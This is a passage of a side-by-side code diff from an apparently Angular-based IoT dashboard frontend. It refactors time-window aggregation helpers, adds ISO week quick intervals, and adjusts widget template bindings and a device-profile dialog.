253 | } | 307 | } |
254 | aggKeyData.delete(aggTimestamp); | 308 | aggKeyData.delete(aggTimestamp); |
255 | this.updatedData = true; | 309 | this.updatedData = true; |
256 | - } else if (aggTimestamp <= this.endTs) { | 310 | + } else if (aggTimestamp < this.endTs) { |
257 | const kvPair: [number, any] = [aggTimestamp, aggData.aggValue]; | 311 | const kvPair: [number, any] = [aggTimestamp, aggData.aggValue]; |
258 | keyData.push(kvPair); | 312 | keyData.push(kvPair); |
259 | } | 313 | } |
@@ -300,12 +354,12 @@ export class DataAggregator { | @@ -300,12 +354,12 @@ export class DataAggregator { | ||
300 | 354 | ||
301 | private processAggregatedData(data: SubscriptionData): AggregationMap { | 355 | private processAggregatedData(data: SubscriptionData): AggregationMap { |
302 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; | 356 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; |
303 | - const aggregationMap: AggregationMap = {}; | 357 | + const aggregationMap = new AggregationMap(); |
304 | for (const key of Object.keys(data)) { | 358 | for (const key of Object.keys(data)) { |
305 | - let aggKeyData = aggregationMap[key]; | 359 | + let aggKeyData = aggregationMap.aggMap[key]; |
306 | if (!aggKeyData) { | 360 | if (!aggKeyData) { |
307 | - aggKeyData = new Map<number, AggData>(); | ||
308 | - aggregationMap[key] = aggKeyData; | 361 | + aggKeyData = new AggDataMap(); |
362 | + aggregationMap.aggMap[key] = aggKeyData; | ||
309 | } | 363 | } |
310 | const keyData = data[key]; | 364 | const keyData = data[key]; |
311 | keyData.forEach((kvPair) => { | 365 | keyData.forEach((kvPair) => { |
@@ -326,10 +380,10 @@ export class DataAggregator { | @@ -326,10 +380,10 @@ export class DataAggregator { | ||
326 | private updateAggregatedData(data: SubscriptionData) { | 380 | private updateAggregatedData(data: SubscriptionData) { |
327 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; | 381 | const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; |
328 | for (const key of Object.keys(data)) { | 382 | for (const key of Object.keys(data)) { |
329 | - let aggKeyData = this.aggregationMap[key]; | 383 | + let aggKeyData = this.aggregationMap.aggMap[key]; |
330 | if (!aggKeyData) { | 384 | if (!aggKeyData) { |
331 | - aggKeyData = new Map<number, AggData>(); | ||
332 | - this.aggregationMap[key] = aggKeyData; | 385 | + aggKeyData = new AggDataMap(); |
386 | + this.aggregationMap.aggMap[key] = aggKeyData; | ||
333 | } | 387 | } |
334 | const keyData = data[key]; | 388 | const keyData = data[key]; |
335 | keyData.forEach((kvPair) => { | 389 | keyData.forEach((kvPair) => { |
@@ -374,4 +428,3 @@ export class DataAggregator { | @@ -374,4 +428,3 @@ export class DataAggregator { | ||
374 | } | 428 | } |
375 | 429 | ||
376 | } | 430 | } |
377 | - |
@@ -277,7 +277,11 @@ export class EntityDataSubscription { | @@ -277,7 +277,11 @@ export class EntityDataSubscription { | ||
277 | dataAggregator.reset(newSubsTw); | 277 | dataAggregator.reset(newSubsTw); |
278 | }); | 278 | }); |
279 | } | 279 | } |
280 | - this.subscriber.setTsOffset(this.subsTw.tsOffset); | 280 | + if (this.entityDataSubscriptionOptions.type === widgetType.timeseries) { |
281 | + this.subscriber.setTsOffset(this.subsTw.tsOffset); | ||
282 | + } else { | ||
283 | + this.subscriber.setTsOffset(this.latestTsOffset); | ||
284 | + } | ||
281 | targetCommand.query = this.dataCommand.query; | 285 | targetCommand.query = this.dataCommand.query; |
282 | this.subscriber.subscriptionCommands = [targetCommand]; | 286 | this.subscriber.subscriptionCommands = [targetCommand]; |
283 | } else { | 287 | } else { |
@@ -37,12 +37,11 @@ import { | @@ -37,12 +37,11 @@ import { | ||
37 | } from '@app/shared/models/widget.models'; | 37 | } from '@app/shared/models/widget.models'; |
38 | import { HttpErrorResponse } from '@angular/common/http'; | 38 | import { HttpErrorResponse } from '@angular/common/http'; |
39 | import { | 39 | import { |
40 | - calculateIntervalEndTime, | ||
41 | - calculateIntervalStartTime, | 40 | + calculateIntervalStartEndTime, |
42 | calculateTsOffset, ComparisonDuration, | 41 | calculateTsOffset, ComparisonDuration, |
43 | createSubscriptionTimewindow, | 42 | createSubscriptionTimewindow, |
44 | createTimewindowForComparison, | 43 | createTimewindowForComparison, |
45 | - getCurrentTime, isHistoryTypeTimewindow, | 44 | + isHistoryTypeTimewindow, |
46 | SubscriptionTimewindow, | 45 | SubscriptionTimewindow, |
47 | Timewindow, timewindowTypeChanged, | 46 | Timewindow, timewindowTypeChanged, |
48 | toHistoryTimewindow, | 47 | toHistoryTimewindow, |
@@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription { | @@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription { | ||
1106 | this.timeWindow.timezone = this.subscriptionTimewindow.timezone; | 1105 | this.timeWindow.timezone = this.subscriptionTimewindow.timezone; |
1107 | if (this.subscriptionTimewindow.realtimeWindowMs) { | 1106 | if (this.subscriptionTimewindow.realtimeWindowMs) { |
1108 | if (this.subscriptionTimewindow.quickInterval) { | 1107 | if (this.subscriptionTimewindow.quickInterval) { |
1109 | - const currentDate = getCurrentTime(this.subscriptionTimewindow.timezone); | ||
1110 | - this.timeWindow.maxTime = calculateIntervalEndTime( | ||
1111 | - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset; | ||
1112 | - this.timeWindow.minTime = calculateIntervalStartTime( | ||
1113 | - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset; | 1108 | + const startEndTime = calculateIntervalStartEndTime(this.subscriptionTimewindow.quickInterval, this.subscriptionTimewindow.timezone); |
1109 | + this.timeWindow.maxTime = startEndTime[1] + this.subscriptionTimewindow.tsOffset; | ||
1110 | + this.timeWindow.minTime = startEndTime[0] + this.subscriptionTimewindow.tsOffset; | ||
1114 | } else { | 1111 | } else { |
1115 | this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff; | 1112 | this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff; |
1116 | this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs; | 1113 | this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs; |
@@ -80,9 +80,9 @@ | @@ -80,9 +80,9 @@ | ||
80 | (mousedown)="widgetMouseDown($event, widget)" | 80 | (mousedown)="widgetMouseDown($event, widget)" |
81 | (click)="widgetClicked($event, widget)" | 81 | (click)="widgetClicked($event, widget)" |
82 | (contextmenu)="openWidgetContextMenu($event, widget)"> | 82 | (contextmenu)="openWidgetContextMenu($event, widget)"> |
83 | - <div fxLayout="row" fxLayoutAlign="space-between start"> | ||
84 | - <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" [fxShow]="widget.showWidgetTitlePanel"> | ||
85 | - <span [fxShow]="widget.showTitle" | 83 | + <div *ngIf="widgetComponent.widgetContext?.inited" fxLayout="row" fxLayoutAlign="space-between start"> |
84 | + <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" *ngIf="widget.showWidgetTitlePanel"> | ||
85 | + <span *ngIf="widget.showTitle" | ||
86 | [ngClass]="{'single-row': widget.hasTimewindow}" | 86 | [ngClass]="{'single-row': widget.hasTimewindow}" |
87 | [ngStyle]="widget.titleStyle" | 87 | [ngStyle]="widget.titleStyle" |
88 | [matTooltip]="widget.titleTooltip" | 88 | [matTooltip]="widget.titleTooltip" |
@@ -93,7 +93,6 @@ | @@ -93,7 +93,6 @@ | ||
93 | {{widget.customTranslatedTitle}} | 93 | {{widget.customTranslatedTitle}} |
94 | </span> | 94 | </span> |
95 | <tb-timewindow *ngIf="widget.hasTimewindow" | 95 | <tb-timewindow *ngIf="widget.hasTimewindow" |
96 | - #timewindowComponent | ||
97 | aggregation="{{widget.hasAggregation}}" | 96 | aggregation="{{widget.hasAggregation}}" |
98 | timezone="true" | 97 | timezone="true" |
99 | [isEdit]="isEdit" | 98 | [isEdit]="isEdit" |
@@ -101,7 +100,7 @@ | @@ -101,7 +100,7 @@ | ||
101 | (ngModelChange)="widgetComponent.onTimewindowChanged($event)"> | 100 | (ngModelChange)="widgetComponent.onTimewindowChanged($event)"> |
102 | </tb-timewindow> | 101 | </tb-timewindow> |
103 | </div> | 102 | </div> |
104 | - <div [fxShow]="widget.showWidgetActions" | 103 | + <div *ngIf="widget.showWidgetActions" |
105 | class="tb-widget-actions" | 104 | class="tb-widget-actions" |
106 | [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}" | 105 | [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}" |
107 | fxLayout="row" | 106 | fxLayout="row" |
@@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service'; | @@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service'; | ||
56 | import { AddEntityDialogComponent } from './add-entity-dialog.component'; | 56 | import { AddEntityDialogComponent } from './add-entity-dialog.component'; |
57 | import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models'; | 57 | import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models'; |
58 | import { | 58 | import { |
59 | - calculateIntervalEndTime, | ||
60 | - calculateIntervalStartTime, | ||
61 | - getCurrentTime, | 59 | + calculateIntervalStartEndTime, |
62 | HistoryWindowType, | 60 | HistoryWindowType, |
63 | Timewindow | 61 | Timewindow |
64 | } from '@shared/models/time/time.models'; | 62 | } from '@shared/models/time/time.models'; |
@@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn | @@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn | ||
303 | timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs; | 301 | timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs; |
304 | timePageLink.endTime = currentTime; | 302 | timePageLink.endTime = currentTime; |
305 | } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) { | 303 | } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) { |
306 | - const currentDate = getCurrentTime(); | ||
307 | - timePageLink.startTime = calculateIntervalStartTime(this.timewindow.history.quickInterval, currentDate); | ||
308 | - timePageLink.endTime = calculateIntervalEndTime(this.timewindow.history.quickInterval, currentDate); | 304 | + const startEndTime = calculateIntervalStartEndTime(this.timewindow.history.quickInterval); |
305 | + timePageLink.startTime = startEndTime[0]; | ||
306 | + timePageLink.endTime = startEndTime[1]; | ||
309 | } else { | 307 | } else { |
310 | timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs; | 308 | timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs; |
311 | timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs; | 309 | timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs; |
@@ -36,7 +36,6 @@ import { | @@ -36,7 +36,6 @@ import { | ||
36 | import { DeviceProfileService } from '@core/http/device-profile.service'; | 36 | import { DeviceProfileService } from '@core/http/device-profile.service'; |
37 | import { DeviceProfileComponent } from '@home/components/profile/device-profile.component'; | 37 | import { DeviceProfileComponent } from '@home/components/profile/device-profile.component'; |
38 | import { DeviceProfileTabsComponent } from './device-profile-tabs.component'; | 38 | import { DeviceProfileTabsComponent } from './device-profile-tabs.component'; |
39 | -import { Observable } from 'rxjs'; | ||
40 | import { MatDialog } from '@angular/material/dialog'; | 39 | import { MatDialog } from '@angular/material/dialog'; |
41 | import { | 40 | import { |
42 | AddDeviceProfileDialogComponent, | 41 | AddDeviceProfileDialogComponent, |
@@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon | @@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon | ||
138 | return actions; | 137 | return actions; |
139 | } | 138 | } |
140 | 139 | ||
141 | - addDeviceProfile(): Observable<DeviceProfile> { | ||
142 | - return this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData, | 140 | + addDeviceProfile() { |
141 | + this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData, | ||
143 | DeviceProfile>(AddDeviceProfileDialogComponent, { | 142 | DeviceProfile>(AddDeviceProfileDialogComponent, { |
144 | disableClose: true, | 143 | disableClose: true, |
145 | panelClass: ['tb-dialog', 'tb-fullscreen-dialog'], | 144 | panelClass: ['tb-dialog', 'tb-fullscreen-dialog'], |
@@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon | @@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon | ||
147 | deviceProfileName: null, | 146 | deviceProfileName: null, |
148 | transportType: null | 147 | transportType: null |
149 | } | 148 | } |
150 | - }).afterClosed(); | 149 | + }).afterClosed().subscribe( |
150 | + (res) => { | ||
151 | + if (res) { | ||
152 | + this.config.table.updateData(); | ||
153 | + } | ||
154 | + } | ||
155 | + ); | ||
151 | } | 156 | } |
152 | 157 | ||
153 | setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) { | 158 | setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) { |
@@ -520,7 +520,7 @@ export enum DeviceCredentialsType { | @@ -520,7 +520,7 @@ export enum DeviceCredentialsType { | ||
520 | export const credentialTypeNames = new Map<DeviceCredentialsType, string>( | 520 | export const credentialTypeNames = new Map<DeviceCredentialsType, string>( |
521 | [ | 521 | [ |
522 | [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'], | 522 | [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'], |
523 | - [DeviceCredentialsType.X509_CERTIFICATE, 'MQTT X.509'], | 523 | + [DeviceCredentialsType.X509_CERTIFICATE, 'X.509'], |
524 | [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'], | 524 | [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'], |
525 | [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials'] | 525 | [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials'] |
526 | ] | 526 | ] |
@@ -136,13 +136,16 @@ export enum QuickTimeInterval { | @@ -136,13 +136,16 @@ export enum QuickTimeInterval { | ||
136 | DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY', | 136 | DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY', |
137 | THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK', | 137 | THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK', |
138 | PREVIOUS_WEEK = 'PREVIOUS_WEEK', | 138 | PREVIOUS_WEEK = 'PREVIOUS_WEEK', |
139 | + PREVIOUS_WEEK_ISO = 'PREVIOUS_WEEK_ISO', | ||
139 | PREVIOUS_MONTH = 'PREVIOUS_MONTH', | 140 | PREVIOUS_MONTH = 'PREVIOUS_MONTH', |
140 | PREVIOUS_YEAR = 'PREVIOUS_YEAR', | 141 | PREVIOUS_YEAR = 'PREVIOUS_YEAR', |
141 | CURRENT_HOUR = 'CURRENT_HOUR', | 142 | CURRENT_HOUR = 'CURRENT_HOUR', |
142 | CURRENT_DAY = 'CURRENT_DAY', | 143 | CURRENT_DAY = 'CURRENT_DAY', |
143 | CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR', | 144 | CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR', |
144 | CURRENT_WEEK = 'CURRENT_WEEK', | 145 | CURRENT_WEEK = 'CURRENT_WEEK', |
145 | - CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_WAR', | 146 | + CURRENT_WEEK_ISO = 'CURRENT_WEEK_ISO', |
147 | + CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_FAR', | ||
148 | + CURRENT_WEEK_ISO_SO_FAR = 'CURRENT_WEEK_ISO_SO_FAR', | ||
146 | CURRENT_MONTH = 'CURRENT_MONTH', | 149 | CURRENT_MONTH = 'CURRENT_MONTH', |
147 | CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR', | 150 | CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR', |
148 | CURRENT_YEAR = 'CURRENT_YEAR', | 151 | CURRENT_YEAR = 'CURRENT_YEAR', |
@@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string | @@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string | ||
154 | [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'], | 157 | [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'], |
155 | [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'], | 158 | [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'], |
156 | [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'], | 159 | [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'], |
160 | + [QuickTimeInterval.PREVIOUS_WEEK_ISO, 'timeinterval.predefined.previous-week-iso'], | ||
157 | [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'], | 161 | [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'], |
158 | [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'], | 162 | [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'], |
159 | [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'], | 163 | [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'], |
160 | [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'], | 164 | [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'], |
161 | [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'], | 165 | [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'], |
162 | [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'], | 166 | [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'], |
167 | + [QuickTimeInterval.CURRENT_WEEK_ISO, 'timeinterval.predefined.current-week-iso'], | ||
163 | [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'], | 168 | [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'], |
169 | + [QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR, 'timeinterval.predefined.current-week-iso-so-far'], | ||
164 | [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'], | 170 | [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'], |
165 | [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'], | 171 | [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'], |
166 | [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'], | 172 | [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'], |
@@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string | @@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string | ||
168 | ]); | 174 | ]); |
169 | 175 | ||
170 | export function historyInterval(timewindowMs: number): Timewindow { | 176 | export function historyInterval(timewindowMs: number): Timewindow { |
171 | - const timewindow: Timewindow = { | 177 | + return { |
172 | selectedTab: TimewindowType.HISTORY, | 178 | selectedTab: TimewindowType.HISTORY, |
173 | history: { | 179 | history: { |
174 | historyType: HistoryWindowType.LAST_INTERVAL, | 180 | historyType: HistoryWindowType.LAST_INTERVAL, |
175 | timewindowMs | 181 | timewindowMs |
176 | } | 182 | } |
177 | }; | 183 | }; |
178 | - return timewindow; | ||
179 | } | 184 | } |
180 | 185 | ||
181 | export function defaultTimewindow(timeService: TimeService): Timewindow { | 186 | export function defaultTimewindow(timeService: TimeService): Timewindow { |
182 | const currentTime = moment().valueOf(); | 187 | const currentTime = moment().valueOf(); |
183 | - const timewindow: Timewindow = { | 188 | + return { |
184 | displayValue: '', | 189 | displayValue: '', |
185 | hideInterval: false, | 190 | hideInterval: false, |
186 | hideAggregation: false, | 191 | hideAggregation: false, |
@@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow { | @@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow { | ||
208 | limit: Math.floor(timeService.getMaxDatapointsLimit() / 2) | 213 | limit: Math.floor(timeService.getMaxDatapointsLimit() / 2) |
209 | } | 214 | } |
210 | }; | 215 | }; |
211 | - return timewindow; | ||
212 | } | 216 | } |
213 | 217 | ||
214 | function getTimewindowType(timewindow: Timewindow): TimewindowType { | 218 | function getTimewindowType(timewindow: Timewindow): TimewindowType { |
@@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, | @@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, | ||
298 | aggType = AggregationType.AVG; | 302 | aggType = AggregationType.AVG; |
299 | limit = timeService.getMaxDatapointsLimit(); | 303 | limit = timeService.getMaxDatapointsLimit(); |
300 | } | 304 | } |
301 | - const historyTimewindow: Timewindow = { | 305 | + return { |
302 | hideInterval: timewindow.hideInterval || false, | 306 | hideInterval: timewindow.hideInterval || false, |
303 | hideAggregation: timewindow.hideAggregation || false, | 307 | hideAggregation: timewindow.hideAggregation || false, |
304 | hideAggInterval: timewindow.hideAggInterval || false, | 308 | hideAggInterval: timewindow.hideAggInterval || false, |
@@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, | @@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, | ||
318 | }, | 322 | }, |
319 | timezone: timewindow.timezone | 323 | timezone: timewindow.timezone |
320 | }; | 324 | }; |
321 | - return historyTimewindow; | ||
322 | } | 325 | } |
323 | 326 | ||
324 | export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean { | 327 | export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean { |
@@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | @@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | ||
357 | timezone: timewindow.timezone, | 360 | timezone: timewindow.timezone, |
358 | tsOffset: calculateTsOffset(timewindow.timezone) | 361 | tsOffset: calculateTsOffset(timewindow.timezone) |
359 | }; | 362 | }; |
360 | - let aggTimewindow = 0; | 363 | + let aggTimewindow; |
361 | if (stateData) { | 364 | if (stateData) { |
362 | subscriptionTimewindow.aggregation.type = AggregationType.NONE; | 365 | subscriptionTimewindow.aggregation.type = AggregationType.NONE; |
363 | subscriptionTimewindow.aggregation.stateData = true; | 366 | subscriptionTimewindow.aggregation.stateData = true; |
@@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | @@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | ||
379 | } | 382 | } |
380 | } | 383 | } |
381 | if (realtimeType === RealtimeWindowType.INTERVAL) { | 384 | if (realtimeType === RealtimeWindowType.INTERVAL) { |
382 | - const currentDate = getCurrentTime(timewindow.timezone); | ||
383 | subscriptionTimewindow.realtimeWindowMs = | 385 | subscriptionTimewindow.realtimeWindowMs = |
384 | - getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, currentDate); | 386 | + getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, timewindow.timezone); |
385 | subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval; | 387 | subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval; |
386 | - subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate); | 388 | + const currentDate = getCurrentTime(timewindow.timezone); |
389 | + subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate).valueOf(); | ||
387 | } else { | 390 | } else { |
388 | subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs; | 391 | subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs; |
389 | - subscriptionTimewindow.startTs = Date.now() + stDiff - subscriptionTimewindow.realtimeWindowMs; | 392 | + const currentDate = getCurrentTime(timewindow.timezone); |
393 | + subscriptionTimewindow.startTs = currentDate.valueOf() + stDiff - subscriptionTimewindow.realtimeWindowMs; | ||
390 | } | 394 | } |
391 | subscriptionTimewindow.aggregation.interval = | 395 | subscriptionTimewindow.aggregation.interval = |
392 | timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval, | 396 | timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval, |
@@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | @@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | ||
419 | }; | 423 | }; |
420 | aggTimewindow = timewindow.history.timewindowMs; | 424 | aggTimewindow = timewindow.history.timewindowMs; |
421 | } else if (historyType === HistoryWindowType.INTERVAL) { | 425 | } else if (historyType === HistoryWindowType.INTERVAL) { |
422 | - const currentDate = getCurrentTime(timewindow.timezone); | 426 | + const startEndTime = calculateIntervalStartEndTime(timewindow.history.quickInterval, timewindow.timezone); |
423 | subscriptionTimewindow.fixedWindow = { | 427 | subscriptionTimewindow.fixedWindow = { |
424 | - startTimeMs: calculateIntervalStartTime(timewindow.history.quickInterval, currentDate), | ||
425 | - endTimeMs: calculateIntervalEndTime(timewindow.history.quickInterval, currentDate) | 428 | + startTimeMs: startEndTime[0], |
429 | + endTimeMs: startEndTime[1] | ||
426 | }; | 430 | }; |
427 | aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; | 431 | aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs; |
428 | subscriptionTimewindow.quickInterval = timewindow.history.quickInterval; | 432 | subscriptionTimewindow.quickInterval = timewindow.history.quickInterval; |
@@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | @@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num | ||
445 | return subscriptionTimewindow; | 449 | return subscriptionTimewindow; |
446 | } | 450 | } |
447 | 451 | ||
448 | -function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, currentDate: moment_.Moment): number { | 452 | +function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, tz?: string): number { |
453 | + let currentDate; | ||
449 | switch (interval) { | 454 | switch (interval) { |
450 | case QuickTimeInterval.CURRENT_HOUR: | 455 | case QuickTimeInterval.CURRENT_HOUR: |
451 | return HOUR; | 456 | return HOUR; |
@@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv | @@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv | ||
453 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: | 458 | case QuickTimeInterval.CURRENT_DAY_SO_FAR: |
454 | return DAY; | 459 | return DAY; |
455 | case QuickTimeInterval.CURRENT_WEEK: | 460 | case QuickTimeInterval.CURRENT_WEEK: |
461 | + case QuickTimeInterval.CURRENT_WEEK_ISO: | ||
456 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: | 462 | case QuickTimeInterval.CURRENT_WEEK_SO_FAR: |
463 | + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR: | ||
457 | return WEEK; | 464 | return WEEK; |
458 | case QuickTimeInterval.CURRENT_MONTH: | 465 | case QuickTimeInterval.CURRENT_MONTH: |
459 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: | 466 | case QuickTimeInterval.CURRENT_MONTH_SO_FAR: |
467 | + currentDate = getCurrentTime(tz); | ||
460 | return currentDate.endOf('month').diff(currentDate.clone().startOf('month')); | 468 | return currentDate.endOf('month').diff(currentDate.clone().startOf('month')); |
461 | case QuickTimeInterval.CURRENT_YEAR: | 469 | case QuickTimeInterval.CURRENT_YEAR: |
462 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: | 470 | case QuickTimeInterval.CURRENT_YEAR_SO_FAR: |
471 | + currentDate = getCurrentTime(tz); | ||
463 | return currentDate.endOf('year').diff(currentDate.clone().startOf('year')); | 472 | return currentDate.endOf('year').diff(currentDate.clone().startOf('year')); |
464 | } | 473 | } |
465 | } | 474 | } |
466 | 475 | ||
467 | -export function calculateIntervalEndTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number { | ||
468 | - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz); | ||
469 | - switch (interval) { | ||
470 | - case QuickTimeInterval.YESTERDAY: | ||
471 | - currentDate.subtract(1, 'days'); | ||
